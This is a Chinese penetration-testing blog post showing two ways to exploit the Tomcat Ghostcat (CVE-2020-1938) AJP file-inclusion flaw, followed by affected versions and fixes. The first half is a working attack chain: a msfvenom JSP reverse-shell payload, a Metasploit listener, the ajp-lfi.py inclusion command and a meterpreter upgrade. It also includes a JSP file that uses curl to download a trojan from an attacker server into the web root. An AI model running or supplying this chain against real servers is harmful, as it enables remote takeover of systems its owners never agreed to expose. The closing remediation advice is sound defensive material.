两种利用CVE-2020-1938 tomcat幽灵猫漏洞的方式
背景
上周做项目遇到了tomcat开放了8009的系统,检测到存在CVE-2020-1938漏洞,而且系统还开放了8080端口web服务,里面有上传点可利用,不能上传jsp,故结合幽灵猫Ghostcat 漏洞利用了下,反弹shell,故记录之。由于项目时间比较紧,截图不是很全,各位看官凑合看下吧。
通过端口扫描看到开放了8009:
第一种方法
生成反弹shell的jsp木马:
msfvenom -p java/jsp_shell_reverse_tcp LHOST="x.x.x.x" LPORT="x" -f raw > ceshi.jsp
利用上传点上传txt后缀文件,因限制无法上传任何jsp相关文件。
上传的txt文件可被读取到:
注:-w是指定访问那个webapp也就是war,可以根据上传功能的路径确定war的名称。
msf开启监听:
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost x.x.x.x
set lport x
exploit
执行ajp文件包含漏洞脚本
python ajp-lfi.py -p 8009 -w xxx -f upload/10079d68-7525-4b87-8787-7cc37a1738db.txt x.x.x.x -l
从上图中可以看到反弹回来的是个普通的command shell,为了满足更多操作,需要升级为meterpreter shell
use post/multi/manage/shell_to_meterpreter
set session id // 该id为刚刚反弹command shell的id
run
也可以直接使用如下命令升级为meterpreter shell
sessions -u id
第二种方法
可以上传jsp文件,进行远程文件下载,并将远程木马文件安装到可解析目录。
首先需要在远程vps开启web服务:
python3 -m http.server 80
然后上传如下jsp文件,进行文件包含:
<%@ page import="java.util.*,java.io.*"%>
<%
Runtime r = java.lang.Runtime.getRuntime();
String command = "curl http://x.x.x.x/x.jsp -o ../webapps/ROOT/x.jsp";
try
{
Process p = r.exec(command);
out.println("command:"+command+"<BR>");
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()),1024);
while (br.read()!=-1)
{
out.print(br.readLine());
}
br.close();
}catch(IOException e)
{
e.printStackTrace();
}
%>
访问写到/webapps/ROOT/文件夹的x.jsp文件,说明木马上传成功:
使用冰蝎连接即可:
也可以使用冰蝎的反弹shell模块结合msf使用。
影响版本
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
修复建议
Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。
要正确修复此漏洞,首先需要确定您的服务器环境中是否有用到 Tomcat AJP 协议:
- 如果未使用集群或反向代理,则基本上可以确定没有用到 AJP;
- 如果使用了集群或反向代理,则需要看集群或反代服务器是否与 Tomcat 服务器 AJP 进行通信.
1. 如果未使用 Tomcat AJP 协议:
如果确定未使用 Tomcat AJP 协议,则可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复。
具体步骤:
(1)编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
(2)将此行注释掉(或直接删掉此行):
<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->
(3)更改完毕后,重启 Tomcat 即可。
除以上措施外,当然也可以采用防火墙等办法以阻止不可信任的来源访问 Tomcat AJP Connector 端口。
2. 如果使用了 Tomcat AJP 协议:
如果确定服务器环境中使用到了 Tomcat AJP 协议,则建议将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本,同时为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证。
例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />
而对于无法进行版本更新、或者是更老版本的用户,则建议为 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证。
例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />
最后